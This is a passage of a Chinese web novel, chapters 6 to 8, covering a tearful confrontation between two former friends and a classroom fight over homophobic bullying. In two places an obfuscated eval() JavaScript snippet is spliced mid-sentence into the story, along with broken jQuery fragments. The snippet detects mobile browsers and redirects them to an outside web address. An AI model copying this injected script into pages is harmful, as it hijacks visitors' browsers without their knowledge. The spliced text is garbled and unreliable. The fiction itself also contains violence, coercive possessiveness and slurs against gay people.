他被讨厌了。而且是毫不掩饰、带着点迁怒性质的、直白的讨厌。
这感觉很新奇,甚至......有点意思。
从小到大,周君珩习惯了周围人或敬畏、或讨好、或倾慕的目光。被人如此真心实意地排斥和嫌弃,尤其是被一个自己主动伸出过两次“援手”的对象这样对待,对他而言是一种全然陌生的体验。
但,对方连愠怒的样子,也......生动得好看。
周君珩唇角牵起一丝极淡的弧度,转瞬即逝,带着点玩味的探究。
行吧。几班?总有办法知道,反正,来日方长。
6. 第 6 章
这处的骚动,一下子震住了整个餐厅,鸦雀无声。
叶蓁蓁回过神,心头一紧。
莫非周君珩与褚亭玉早有宿怨?
这个念头一起,一颗心登时悬到了嗓子眼,唯恐褚亭玉吃亏。
“周先生,请放手。”她咬了咬牙,硬是上前一步,试图斡旋:“褚亭玉是我未婚夫,你这是做什么?”
“未婚夫”三个字如毒针贯耳,周君珩耳中一阵灼麻剧痛。
他倏地扭过头,目光如两道实质的冰锥,狠狠钉在叶蓁蓁脸上。
那双眼中赤裸裸的敌意与独占欲,是叶蓁蓁在衣食鬓影间绝难想象的、属于掠食顶端的森然凝视。
只一眼,叶蓁蓁便觉一股阴寒的电流顺着脊柱疾速攀升,心脏猛地一缩,呼吸都窒住了。
“未婚夫?呵。”他声音冷硬如铁,带着不容置疑的威压:“叶小姐,他做不成你的未婚夫。”
元华和刘鑫早已惊得从座位上弹起来。
元华作为经纪人,本能地要冲上去解围,却被身旁的袁刚的手死死按住了胳膊。
袁刚面色凝重,对他微微摇头。
刘鑫则彻底傻了眼。他何曾见过周君珩这般失态?尤其对象还是叶家的联姻对象,那歇斯底里的模样,俨然一个被抛弃的怨夫。这巨大的冲击令他脑中嗡鸣不止。
餐厅里其他客人早已停下用餐,纷纷侧目,有人甚至悄悄举起了手机。
元华急得额头渗出细密的冷汗。
周君珩对周遭的一切视若无睹。他收回视线,转而死死锁着褚亭玉,仿佛整个世界只剩下这张让他恨入骨髓又思念成狂的脸。手腕上的力道非但没松,反而像溺水者抓住最后的浮木般更用力地收紧,甚至猛地发力将褚亭玉拉向自己。
褚亭玉猝不及防,身体失去平衡,向前踉跄一步,肩膀几乎撞进周君珩怀里。那股熟悉的、糅合了清冷木质与一丝烟草的气息瞬间包裹了他。
“疼?”周君珩的声音嘶哑破碎,带着浓重的哭腔和刻骨的恨意,每个字都像从喉咙里硬生生抠出来,“褚亭玉,你知道这七年我是怎么熬过来的吗?你他妈知道吗?”
“你凭什么说走就走?凭什么...连一个解释都不肯给我?!”
他最后的质问几乎是嘶吼出来的,完全颠覆了荧幕上那个矜贵从容的公众形象,像一头被逼到绝境的困兽。
褚亭玉眉峰微蹙。手腕上传来的锐痛对他而言尚能忍受,真正让他蹙眉的是周君珩的失控和四周聚焦的目光。
他目光迅速扫过惊愕的叶蓁蓁、焦灼的元华和呆滞的刘鑫,最后落回周君珩那张因痛苦而扭曲的英俊面孔上。
“周君珩,冷静点。”他的声线依旧低沉平稳,只掺着一丝不易察觉的倦意,“这里不是说话的地方。”
褚亭玉尝试抽手,纹丝未动。周君珩的力道大得惊人,指节因用力过度泛着白。
“行!那就换个!”周君珩不容分说,几乎是拽着褚亭玉就朝着大门大步走去。
褚亭玉被他拽得脚下不稳,却没再强行挣脱。
在众目睽睽之下闹得更大,显然更糟。
“褚亭玉!”叶蓁蓁下意识喊出声,想阻拦。
褚亭玉只来得及侧目递给她一个安抚的眼神。随即,他的身影便被周君珩强硬地拖入旋转门,消失在众人的视野里。
袁刚如影随形,立刻跟上。
留下餐厅一片死寂。元华和刘鑫面面相觑,从对方眼中看到了同样的惊涛骇浪。
车内,空气粘稠得令人窒息。
后座,周君珩的手依旧铁箍般攥着褚亭玉的手腕,仿佛那是维系他摇摇欲坠世界的唯一绳索。指腹深陷在褚亭玉突出的腕骨上,青筋在白皙的手背上狰狞暴起。
他侧着头,目光一瞬不瞬地盯在褚亭玉的脸上,眼眶的红血丝在昏暗光线下更显骇人。
褚亭玉偏头望着车窗外飞速倒退的街景。车窗映出他模糊的侧影,几缕半长黑发凌乱垂落,下颌线绷紧如刀削。腕骨处传来清晰的钝痛,他连眉头都未曾动一下。
前座的袁刚屏住凝神,握着方向盘的手心全是冷汗。他眼观鼻鼻观心,不敢发出丝毫声响,车厢内只剩下轮胎摩擦路面的沙沙声和周君珩压抑沉重的呼吸声。
车子最终驶入一处顶级公寓的地下车库,直达专属电梯厅。电梯无声上行,数字不断跳动,密闭空间内的气压低得让人喘不过气。
“叮——”
门开启的瞬间,周君珩几乎是粗暴地将褚亭玉搡了进去,反手“砰”地一声巨响甩上门,彻底隔绝了外界。
沉重的关门声在空旷奢华的玄关激起回响,震得人耳膜发麻。
下一秒,褚亭玉只觉得一股巨力袭来,后背狠狠撞在冰冷的玄关墙壁上。预想中的剧痛并未传来,周君珩在最后关头用另一只手垫在了他的后脑与墙壁之间。
饶是如此,冲击力还是让褚亭玉喉间溢出一声闷哼。
周君珩将他死死抵在墙上,高大身躯带着灼人的体温和山峦般的压迫感逼近,将他完全笼罩在自己的阴影里。他的身体因剧烈的情绪而无法自控地微微发抖,每一次呼吸都带着滚烫的气息喷在褚亭玉的颈侧。
“为什么......”周君珩的声音低哑得像砂纸磨过,“褚亭玉......告诉我为什么?!”他通红的、蓄满泪水的眼睛死死锁住褚亭玉毫无波澜的脸,泪水终于决堤,大颗大颗的砸落,迅速洇湿了褚亭玉黑色的毛衣前襟。
“你到底把我当什么?召之即来挥之即去的玩物吗?!”他嘶吼着,声音支离破碎,裹着浓重的哭腔,那是一种被彻底践踏尊严、被反复凌迟后发出的绝望诘问。
所有引以为傲的教养与矜持,在眼前这个人面前,早已粉碎殆尽。
褚亭玉没有挣扎,甚至没有试图推开他,任由自己被禁锢在墙壁与周君珩的身体之间。
他抬起那只未被禁锢的手,动作带着一种近乎诡异的、缓慢的怜惜。修长冰凉的指尖,轻轻拂过周君珩眼下濡湿的泪痕。
那冰凉的触感带起细微的电流,让周君珩的身体剧烈地一颤。
褚亭玉看着他,黑眸深不见底,如同无光的深海。
他开口,语气很平:“周君珩,你弄错了一件事。”指尖停留在周君珩滚烫的皮肤上,“从来,不是我把你当玩物。”
这句话,像一把裹着冰霜的重锤,狠狠砸在周君珩早已千疮百孔的心脏上。没有解释七年前的杳无音信,没有解释此刻的突然出现,只有一句冰冷模糊的陈述。
对,是他,从头到尾都是他一厢情愿,摇尾乞怜。
周君珩看着近在咫尺、魂牵梦绕又恨之入骨的脸,此刻平静得近乎残忍。
“褚亭玉......”周君珩的声音嘶哑得不成样子,带着一种近乎绝望的渴望。
他缓慢低头,朝着那两片紧抿的、色泽如血的唇压去。
就在他的气息即将覆盖过去的刹那,褚亭玉的头极其轻微、又异常坚决地向后一仰。
动作幅度不大,甚至称不上反抗,但那瞬间拉开的、不足一寸的罅隙,却骤然化作一道深不见底的鸿沟,冰凉地横亘在两人唇齿之间。
吻,落空了。
周君珩的动作瞬间僵住。所有的期待、卑微的乞求、强撑的理智,在这一刻彻底崩断!
“唔......!”一声压抑到极致,如同濒死野兽般的呜咽从他喉咙深处迸裂出来。
他猛地直起身,眼里最后一点理智的光彻底湮灭,只剩下足以焚毁一切的烈焰。
他不再试图去碰褚亭玉,踉跄着后退一步,随即,像一个被无形的鞭子抽打的狂徒,猛地扑向最近的一个置物架。
哗啦——!
价值不菲的珐琅彩瓷瓶被狠狠掼向地面,摔得粉碎!
砰!哐啷!
沉重的艺术铜雕被他抡起砸向光洁的大理石地面,发出震耳欲聋的巨响!
呼啦——咔嚓!
一整墙的藏酒被他抓起一瓶瓶砸向墙壁!刺耳的爆裂声中,玻璃碎片飞溅,昂贵的酒液喷涌,浓烈醇厚的酒香混合着毁灭的气息疯狂弥漫。
名贵的画框被扯下,水晶摆件被扫飞,定制的茶几被掀翻......每一次破坏都伴随着他压抑到极致的粗重喘息和无法抑制的泪水。
褚亭玉始终安静地站在玄关那片狼藉的阴影里,背靠墙壁,像一个置身事外的旁观者。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871351|176218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
他看着周君珩癫狂地摧毁着目之所及的一切,那双黑眸里,倒映着碎片飞溅的弧光和那个痛苦绝望的背影,依旧古井无波。只在周君珩动作过于危险可能伤及自身时,眼神会极快地掠过一丝难以捕捉的阴翳。
终于,周君珩的力气似乎耗尽。他僵立在废墟般的客厅中央,脚下是破碎的瓷片、扭曲的金属、流淌的酒液和散落的书籍。
奢华的地毯被浸染得面目全非。他背对着褚亭玉,肩膀剧烈的耸动,压抑的呜咽声断断续续,像受伤幼兽的哀鸣。
不知过了多久,那剧烈的颤抖才稍稍平息。周君珩缓缓地、极其艰难地转过身。
他脸上泪痕交错,头发凌乱粘在额角,昂贵的羊毛衫上沾染着大片深色酒渍,眼神空洞得像被掏走了灵魂。
他望着阴影里的褚亭玉,一步一步,拖着沉重的步伐,带着一身毁灭后的颓败气息,重新走到他面前。
他抬起布满血丝的眼睛,声音嘶哑得不成调,带着一种濒临溺毙之人抓住最后一根救命稻草的卑微乞求:
“褚亭玉......”他唤着他的名字,声音轻得像一声叹息,又重得砸在人心上,“我不信......我不信你这么多年,完完全全看不出来......”他深吸一口气,仿佛用尽了全身力气,吐出那锥心刺骨的四个字,“......我喜欢你?”
他每问一句,就固执地重复一遍那个名字,仿佛那是他唯一的救赎,“亭玉......还是你真的......真的完全接受不了我?”
他死死盯着褚亭玉的眼睛,试图从那片深不见底的寒潭里,捕捉到哪怕一丝一毫的松动或涟漪。
“亭玉......”他又向前挪动一步,身体几乎要贴上褚亭玉,声音里是浓得化不开的痛楚和绝望,“你真的......真的对我......一点好感都没有吗?哪怕......只有一点点?”
他声音颤抖得厉害,带着无法抑制的哭腔,几乎是匍匐在地般哀恳着,“我求你了......亭玉......别这样对我......求你……”
每一声“亭玉”,都像是用灵魂在呼唤,眼中的乞求便浓稠一分。他抛弃了所有的尊严,剥开了所有的伪装,将自己最脆弱、最不堪的一面,血淋淋地摊开在褚亭玉面前,只求一个答案,哪怕是一个让他万劫不复的答案。
然而,褚亭玉只是静静地看着他。
看着他猩红的眼,看着他狼狈的脸,看着他眼中那几乎要溢出来的、浓烈到令人窒息的爱与绝望。
玄关顶灯的光线斜斜打下来,照亮褚亭玉的半张脸,另一半则隐在更深的阴影里。左眼下那颗浅褐色的小痣,在光影交错中,显得格外清晰,也格外冷漠。
他没有回答。
没有承认,没有否认。
灭顶的无力感像潮水般汹涌而至,瞬间抽干了周君珩支撑身体的最后一丝力气。膝盖一软,他整个人如同断线的木偶,不受控制地向后栽。
一双有力的手臂却在他触地之前,稳稳地托住了他下坠的身体。褚亭玉的动作快得惊人,几乎是同步地跟着他屈膝半跪下来。
周君珩的脸重重埋进褚亭玉的颈窝,额头抵着他冷硬的肩线。
褚亭玉没有推开他,也没有说什么安慰的话。修长有力的手指,带着薄茧的指腹,动作平缓地一下,又一下,沿着周君珩紧绷的颈骨和痉挛的肌肉线条,缓慢地、带着某种奇异节奏地抚摸着。
周君珩在他怀里抖得更厉害了,呜咽被强行压抑在喉咙深处,变成破碎沉重的喘息。眼泪流得更凶,仿佛要将这七年的分量全部流干在褚亭玉的肩头。
褚亭玉微微侧过头,下颌抵着周君珩汗湿的发顶。他的目光越过周君珩颤抖的肩膀,落在那片被他亲手摧毁得如同废墟的客厅上。昂贵的水晶吊灯折射着破碎的光,映在他深不见底的黑眸里,却没有照亮分毫。
那双眼睛,此刻异常幽邃。
没有心疼,没有歉疚,甚至没有一丝常人该有的慌乱或怜悯。
那里翻涌着的,是一种近乎餍足的、冰凉的亢奋。一种目睹最珍贵的艺术品为自己彻底破碎、燃烧后,从灵魂深处升腾起的,隐秘而强烈的满足感。
7. 第 7 章
褚亭玉从教室后门晃进来的时候,高二(7)班的读书声已经盖过窗外的鸟叫。他扫了一眼,座位差不多坐满了,就剩下几个孤零零的空位散在各处。
懒得费劲猜自己该坐哪儿,他两步跨到靠后门最近的一个男生旁边,指关节“叩叩”两声,敲在对方堆成小山的书堆上。
“你好,”声音不大,带着点刚睡醒特有的沙哑,“我的座位是哪个?”
那男生正埋头看书,被这声动静惊得一抬头。看清是褚亭玉的脸,眼神明显一愣,眉头随即就拧成了疙瘩,身体下意识就往墙边缩,嘴唇动了动,却没憋出半个字。
褚亭玉等了片刻,教室里其他角落的读书声还在继续。以为对方没听清,大清早积攒的那点起床气拱了上来,他耐着性子又问了一遍,声音沉了点:“问你呢,我坐哪?”
这次,男生非但没回答,反而像是被什么脏东西挨着了,满脸的嫌弃,屁股下的椅子“刺啦”一声,硬是又往里挪了半寸,恨不得离他八丈远。
那眼神,活脱脱在看一块带着病菌的垃圾。
褚亭玉眉梢一挑。行,明白了。看来原主在这班上的人缘,大概跟臭水沟的石头差不多,谁沾上都嫌晦气。
可惜了,他褚亭玉不是石头,更不是能让人随便捏的软柿子。
“哐当——”
一声闷响,不算惊天动地,却足够刺耳,瞬间压过了教室里稀稀拉拉的读书声。
褚亭玉直接一脚踹在男生的桌腿上,没收力。桌面上的书堆应声一抖,几本练习册和卷子哗啦滑落在地。
“聋了?”他声音不高,但那股子沉沉的压迫感让整个教室肉眼可见地安静了下来,所有的目光齐刷刷射向后门角落。
男生脸腾地涨得通红,一半是吓的,一半是当众被踹桌子下不来台的羞愤。他再次抬起头,张嘴就想骂:“你他......”可“妈”字还没出口,就对上褚亭玉的眼睛。
那双眼睛没什么情绪,没有怒火,也没有威胁,就只是平平地看着他,像两口深不见底的古井,凉飕飕的,望不见底。
男生喉咙里那股气不知怎么就被戳散了,后面的话硬生生噎在嗓子里。手指不情愿地抬起来,飞快地指向教室靠窗最后排一个空位:“那边。”
褚亭玉顺着他指的方向撩了一眼,没吭声。他收回脚,弯下腰,把掉地上的几本书捡起来,拍了两下灰,整整齐齐地给摞回桌上被他踹歪了的书堆顶端。
“谢了啊。”他嘴角扯出个要笑不笑的弧度,语气自然得像刚才那出戏压根没发生过。
说完,他拎着书包,径直朝对方所指的空位走去。他能感觉到四周那些针扎似的目光,还有压低的、带着恶意和嘲弄的窃窃私语。
褚亭玉全当没听见,走到自己的课桌前。桌上仅散落几本旧书,与周遭堆得像堡垒一样的课桌相比,显得分外寒酸。
褚亭玉一屁股坐下,把空瘪的书包往桌肚里一塞。教室里,被他踹桌子惊起的短暂安静刚过去不久,细碎的窸窣声又响了起来。
他本来懒得理会,但邻组中间有几个男生的声音却相当刺耳,带着毫不掩饰的恶意,几乎是扯着嗓子嚷给他听。
其中一个校服拉链几乎坠到肚脐眼,露出里面艳俗的T恤,另一个支棱着几撮扎眼的黄毛。两人都歪脖斜眼,吊儿郎当地打量着褚亭玉,目光里尽是市井痞气。
“哟嚯,领子拉这么高干嘛?心虚啊?”拉链敞开的那个吹了声口哨,嗤笑道,“怕人看见你脖子上的印儿?啧啧。玩得挺野嘛!”
教室里立刻响起一阵不怀好意的哄笑,不少人伸着脖子往后看。
黄毛立刻接腔,嗓门拔得更高:“就是!平时装得跟个闷葫芦鹌鹑似的,背地里玩这么开?还会穿女装,是去勾引谁了吧?是不是就喜欢男人搞你啊?死同性恋!”
另一个声音也挤进来,下流又恶意:“听说他妈就是干那个的,这玩意儿也遗传吧?贱不贱呐!”
那些污言秽语灌进耳朵。褚亭玉垂着的眼睫动了一下,几个字眼清晰扎进脑海:“女装”、“同性恋”、“他妈”、“卖”。
原主?同性恋?
他心里没起什么波澜,只觉得像听见了几只苍蝇围着腐肉嗡嗡叫,又聒噪又恶心。
前世也好,今生也罢,总有些蠢货喜欢用些低级的行为来彰显自己的无知。
没有任何预兆,褚亭玉忽然动了。他看也没看,手臂一扬,桌面上仅有的那几本破旧课本和练习册,被他像扔垃圾一样,精准又狠戾地砸向了声音最响的那几个方向。
“啪!”“哗啦!”
书本砸在课桌上,甚至有人身上,散落一地。
整个教室瞬间死寂。所有人像被施了定身法,不敢置信地看向后排。
褚亭玉根本没站起来。他整个人放松地靠在椅背上,两条长腿大剌剌地敞开着,手肘随意地搭在扶手上,那姿态,不像个学生,倒像是坐在自己地盘上的恶霸头子。
他脸上没什么明显的怒容,眼神却冷得能掉冰碴子,慢悠悠地扫过那几个被砸懵了的男生。
“吵死了。”声音依然不高,甚至有点懒洋洋的调子,“嘴巴这么臭,早上起来没刷牙,还是刚啃完屎了?”
褚亭玉顿了顿,目光移到那个骂“他妈”的黄毛脸上,嘴角极其缓慢地向上扯了一下,露出一个毫无温度、带着点邪性的笑,“还有你,张口闭口‘卖’。怎么,你妈干这行的时候,你趴门缝亲眼观摩过?经验这么丰富,她卖相如何啊?”
这话不是一般的毒。平静的语气配上这侮辱性拉强的反问,杀伤力直接爆表。
“我操|你|妈!褚亭玉你个狗|娘养的!”黄毛像被捅了肺管子,脑子“嗡”的一声,血全涌上了头,理智彻底崩断。
他目呲欲裂,像头被激怒的野牛,猛地掀翻自己面前的桌子,书本哗啦摔了一地,捏着拳头,红着眼睛就朝褚亭玉扑了过来,拳头带着风直砸他面门!
褚亭玉眼神一厉。就在黄毛冲到跟前,拳头眼看着就要砸下来的刹那,他坐着没动,左脚闪电般蹬出!
“砰!”
一声闷响,结结实实踹在黄毛的小腹上。
黄毛冲过来的势头有多猛,被踹回去的力道就有多狠。他发出一声痛苦的闷哼,整个人像被抽掉了骨头,捂着肚子踉跄着向后猛退,“哐当”一声撞翻了同伴身后的桌子,稀里哗啦滚倒在地,蜷缩成一团,疼得脸都扭曲了,一个字也吐不出来。
整个教室再度陷入死一般的寂静,落针可闻。
所有人都目瞪口呆地看着后排,眼珠子都快掉出来了。那个拉链
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871352|176218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开到肚脐的男生,嘴巴张得能塞下一个鸡蛋,脸上那点看戏的嘲弄瞬间冻结,化为活见鬼般的错愕。
他看看地上疼得直抽抽的黄毛,又看看依旧四平八稳坐在椅子上、连姿势都没怎么变的褚亭玉,感觉自己的认知被碾碎了。
不止他,全班都懵圈了。
褚亭玉?那个平时被推搡几下都只会低着头,连屁都不敢放一个的褚亭玉?他竟然敢动手?还一脚就把人高马大的黄毛踹成这样?!这他妈是太阳打西边出来了吗?!
几秒死寂过后,教室里轰地一下炸开了锅。
“操!”拉链男率先回神,脸上的震惊被挑衅的暴怒取代。他一掌拍炸了桌子,霍然立起,指着褚亭玉破口大骂,“褚亭玉!你他妈活腻歪了!”
另外两个刚才跟着起哄的男生也如梦初醒,看着自己兄弟在地上疼得打滚,被当众打脸的羞怒直冲脑门,跟着跳了起来,眼神凶狠。
“老魏,弄死他!”
“妈的,反了你了!”
三个人,气势汹汹地就朝着褚亭玉的位置围了过来,撸胳膊挽袖子,一副要把他生吞活剥的架势。
褚亭玉嘴角那点冰冷的弧度咧得更开了些。不等对方完全围拢,身体就动了。他唰地站起身,直接往前逼近半步。
拔高的身形瞬间拉近与那三人的距离,眼神冷冽,带着赤裸裸的跃跃欲试,直勾勾刺在当先的拉链男脸上。
那姿态,明明白白写着:想动手?尽管来。
剑拔弩张的气氛,冲突一触即发。
教室前门“吱呀”一声被推开。
一个梳着低马尾的女老师端着保温杯站在门口。她扫了一眼本该书声琅琅却异常安静、后排还扎堆的教室,眉头紧锁:“干什么呢?!早读时间,书都捧着当摆设?聚在那里做什么?”
这一声质问像按下了开关。拉链男三人立刻像找到了主心骨,又像是急于甩锅,抢着指向褚亭玉告状:
“班主任!他打人!”拉链男抢先吼道。
“褚亭玉拿书砸我们!还踹李博!”另一个男生立刻接上。
“班主任你看他把李博打的!我们都看见了!他就是个疯子!无缘无故发疯打人!”第三个也急忙补充,生怕说晚了。
“打人?”被叫班主任的女人脸色一沉,声音拔高八度。
她端着保温杯,踩着矮跟皮鞋,几步从讲台侧边的过道往后排走。越靠近,眼前的景象就越让她血压飙升。
翻倒的桌子,散落一地的书本和文具,蜷在地上疼得直抽气的黄毛,对峙的三人,以及站得笔直、一脸漠然的褚亭玉。
“砰!”保温杯被她重重掼在旁边的课桌上。
“无法无天!简直是无法无天!!”她看着这片狼藉,气得声音都尖了,手指颤抖指着整个后排区域,目光像刀子一样剐过他们几人,“看看!看看你们干的好事!这里是教室!是学习的地方!不是你们打架斗殴的街头!反了你们了!”
她的怒火显然不只是针对褚亭玉一人。这混乱的现场和聚众闹事的样子,在她看来就是一群不省心的刺头集体惹祸!
她手指狠狠点过抓着桌子站稳的黄毛、拉链男三人,最后死死定在褚亭玉身上:“你!你们!闹事的,有一个算一个!都给我滚出来!现在!去办公室!”
8. 第 8 章
班主任姓王名艳,教语文的。她目光扫了一眼捂着肚子,脸色不是很好的黄毛,指了指墙边一张空着的椅子。
“李博,你先坐下。”
李博呲牙咧嘴地蹭过去坐下,眼刀子狠狠剜向几步开外的褚亭玉。
褚亭玉微垂着头,站在靠近门的地方,额前的碎发遮住了他大半张脸,看不清神情。洗得发白的校服领口习惯性拉到顶,衬得那身形愈发单薄伶仃。
另外三人像没骨头似的吊儿郎当杵在李博两侧,肩膀挤挤挨挨,眼神乜斜着四处乱瞟,就是不正眼瞧人。浑身上下,连头发丝都透着一股子混不吝的痞气和讨人嫌的躁动。
王艳的目光在两边逡巡一圈,心里的天平其实早有倾斜。
魏志勇、李博这几个,年级里都挂了号的刺头,惹是生非是家常便饭。至于褚亭玉......她的视线再次掠过前方低垂的脑袋,心里有点复杂。总成绩平平,但语文成绩稳居班级前三,作文常有灵气,就是性子太孤僻,独来独往,像个透明人。
班里那些关于他的风言风语,什么“怪胎”、“阴沉”,甚至更不堪的揣测,她不是没听过。只要不影响成绩和课堂秩序,她一向是多一事不如少一事。
可今天这场面,实在闹得太难看了。
“目无校纪!”王艳一巴掌拍在办公桌上,震得笔筒里的笔滚出来好几支,“早读课闹成这样!李博,你这伤怎么回事?还有你们几个!”她手指点过魏志勇三人,“聚众打架?当学校是什么地方?!”
魏志勇立刻挺直腰板,脸上写满了被冤枉的愤慨,抢着开口:“班主任,这回真不是我们先挑事!是褚亭玉,他先莫名其妙拿书砸我们,接着又动手打人。你看看李博被他踹的。我们好好在读书,谁知道他发什么癫!”
“就是!都好好看书呢,他突然就动手!”钱正业赶紧帮腔。
“下手可黑了。我们都瞧见了。”李杰伟抢着补充。
“闭嘴!让你们说话了吗?吵吵嚷嚷像什么样子!”王艳厉声喝断。
她转向褚亭玉,声音压了压,带着点例行公事的引导:“褚亭玉,你说。为什么打李博?”
被点到名字,褚亭玉肩膀一缩。他慢慢抬起头。
肤色是常年不见阳光的苍白,眼睫低垂,嘴唇抿得死紧,几乎没了血色。整张脸清秀得有些过分,此刻笼着一层茫然又惊魂未定的脆弱,特别是那双眼睛,抬起来看向她时,里面盛满了无措和......一丝极力压抑的难堪?
他没有立刻回答,仿佛被无形的重担压得喘不过气,飞快地瞥了魏志勇他们一眼,又迅速低下头,肩膀开始小幅度地发颤。
王艳眉头锁得更紧。这孩子吓成这样?
魏志勇瞅着褚亭玉这副“装可怜”的样子,火气“蹭”地往上冒,尤其见班主任探究的目光扫过来,他忍不住从鼻孔里挤出一声冷哼。
王艳刚收回目光转向褚亭玉,魏志勇身体就朝褚亭玉那边倾了倾。嘴唇几乎没动,齿缝里挤出低得只有近处能听见的气音:“敢乱说,放学弄死你。”
王艳眼角余光瞥见魏志勇鬼祟的小动作,不满喝道:“魏志勇!干什么呢?站好!站没站相!”
她深吸一口气,语气刻意放软了点:“褚亭玉,别怕。有老师在,没人能把你怎么样,按实际情况来说就行。”
“老师......”褚亭玉的声音抖得厉害,轻得像蚊子哼哼,“我...我没......”他手指神经质地绞着校服下摆,“是他们一直骂我,骂得太难听......我受不了......”声音越来越小,尾音拖着浓重的鼻音,仿佛下一秒就要哭出来。
就在王艳拧眉思索“太难听”具体指哪方面时,褚亭玉歪头向魏志勇那边瞥了一眼。
只一瞬,他脸上所有脆弱与惊惶的痕迹像被橡皮擦抹掉,眉宇间的嚣张恣意明晃晃亮出来,唇齿无声开合,啐出两个字:“垃、圾。”
魏志勇正盯着他,将这挑衅看得分明,脸瞬间气得扭曲。
褚亭玉嘴角得意一勾,慢悠悠要转回脸。眼梢扫过门口,心里头咯噔一下,一个高挑的身影不知何时已静静杵在那里。
他的动作几不可察地顿住半拍,正正对上一双静得发沉的眼睛。
……什么冤家,没完了还?心里头一阵无语,脸上倒没事人似的转回来,眼皮子一耷拉,又成了那副蔫样儿。
“我们骂你什么了?啊?你他妈给老子说清楚!”
褚亭玉这副人前人后两张皮的贱样,彻底把魏志勇点炸了。
眼看班主任脸黑得像锅底,这小子还在那儿“上眼药”,居然敢当自己面儿装蒜,还敢骂他垃圾!
魏志勇脑子里的弦“嘣”地就断了,什么顾忌都他妈喂了狗。他眼珠子通红,指着褚亭玉的鼻子,唾沫星子喷出老远:
“垃圾?!你他妈再说一遍试试!当老子眼瞎?!草泥马的褚亭玉!装!你再给老子装个可怜相看看?!”
他吼得额角青筋都暴起来,喘着粗气,话头根本不歇,恶毒地往下凿:
“骂你又咋了?!难道骂错你了?!你个死变态!大老爷们穿裙子不是同性恋是什么?!装什么纯?!”
他像是突然抓住了什么把柄,声音拔得更高,手指几乎戳到褚亭玉的脸上:
“有种把领子拉下来啊!让大家看看你脖子上那些骚印子!是不是野男人啃的?!你妈不就是干那行的婊......”
“魏志勇!!!你给我住口!!!”王艳拍案而起,声音尖利得破了音,整个人气得直哆嗦。
她指着魏志勇,手指都在颤,“你......你简直混账!无法无天!在老师面前都敢这样侮辱诽谤同学!甚至侮辱同学家长?!你......你们......”她气得胸口剧烈起伏,一时竟说不出完整的话。
魏志勇被吼得缩了下脖子,脸上非但毫无悔意,反而梗着脖子,指着褚亭玉的领口对王艳不甘心吼道:“老师,你不信?你让他把领子拉下来看看!那印子明摆着!穿女装的事全校都传遍了!他就是个恶心的同性恋!谁知道他昨晚跟哪个野男人鬼混去了!这种人在我们班就是个祸害!我们骂错了吗?!”他豁出去了,反正不要脸的是褚亭玉。
王艳气得眼前发黑。教师群里早传开了褚亭玉穿女装的帖子链接,连教导主任都隐晦提过要注意学生“思想动态”。
同性恋?在这个年头,绝对是惊世骇俗、需要严肃处理的大问题。
她本也打算私下找他谈谈,但绝不是以这种扒皮抽筋的方式!看着仿佛被剥光了示众的褚亭玉,她心头又气又恼,更多是想赶紧结束这场难堪的闹剧。
她强压下怒火,准备先把魏志勇这几个混账轰出去。
“够了!你们几个.......”
这时,办公室的门被敲响了。笃、笃、笃。三声,不疾不徐。
除了褚亭玉,所有人的目光下意识投向门口。高挑挺拔的男生走了进来,手里托着一摞作业本。他神色平静,径直走向靠里一个中年男老师的办公桌。
“张老师,今天的数学作业。”声音清冽平稳,像山涧淌过的冷泉。
张磊正竖着耳朵看这边的热闹,被点名吓了一跳,赶紧接过本子:“哦哦。好,放这儿吧。辛苦了君珩,快回去早读吧。”他只想赶紧把这位年纪的宝贝疙瘩打发走,离这滩浑水越远越好。
周君珩却没动。他目光冷淡地扫过呈对峙之势的魏志勇几人,越过气得发抖的王艳,最终落在低着头的褚亭玉身上。他抬步,在所有人诧异的注视下,走到褚亭玉身旁。
王艳和张磊的心同时提到了嗓子眼。
周君珩站定,微微侧身面向王艳,语气平平,但足以让整个办公室都听清:
“王老师,他脖子上的痕迹,是我造成的。”
这句话如平地惊雷,炸懵了所有人!
魏志勇、钱正业、李杰伟张大了嘴,眼珠子差点瞪出来,一副见了鬼的表情。李博也忘了疼,傻在椅子上。
王艳脸上的怒容一下子转换成浓重的的错愕和茫然。
就连一直游离在外的褚亭玉,也回神看向男生线条优越的侧脸。
“啥玩意儿?!”张磊吓得直接从椅子上弹了起来,一个箭步冲过去死死拽住周君珩的胳膊,“周君珩你抽什么疯?!关你屁事!赶紧回去上课!”
他一边说一边拽着周君珩往外拖,脸上全是“祖宗求你别惹事”的焦灼。褚亭玉那些同性恋的传言......周君珩是学校捧在手心里的TOP1大学苗子,容不得半点闪失的金字招牌。
这两人扯上关系?打死他也不敢想!
周君珩手臂一抬,轻易挣开张磊的手。
“王老师。”他转向王艳,语气笃定,“确实是我弄的,但不是大家想的那样。”
他顿了顿,目光凉凉地扫过魏志勇,刚才还气焰嚣张的几人,立即噤若寒蝉。
“我和褚亭玉,”周君珩刻意加重了这三个字的咬字,“是朋友。前两天闹着玩,是我下手没个轻重。他皮肤薄,容易留印子,看着吓人罢了。”
那语气里的维护,是个人都听得出,“褚亭玉不是他们嘴里那种人。今天的事,到此为止。以后,”
他的视线最后凝成实质,压在魏志勇脸上,“再让我听到有人传些污人清白的闲话,别怪我不客气。”
办公室里落针可闻。王艳和张磊面面相觑,惊疑不定。
朋友?闹着玩?脖子上的痕迹......那位置,那形态,怎么闹出来的?可信吗?
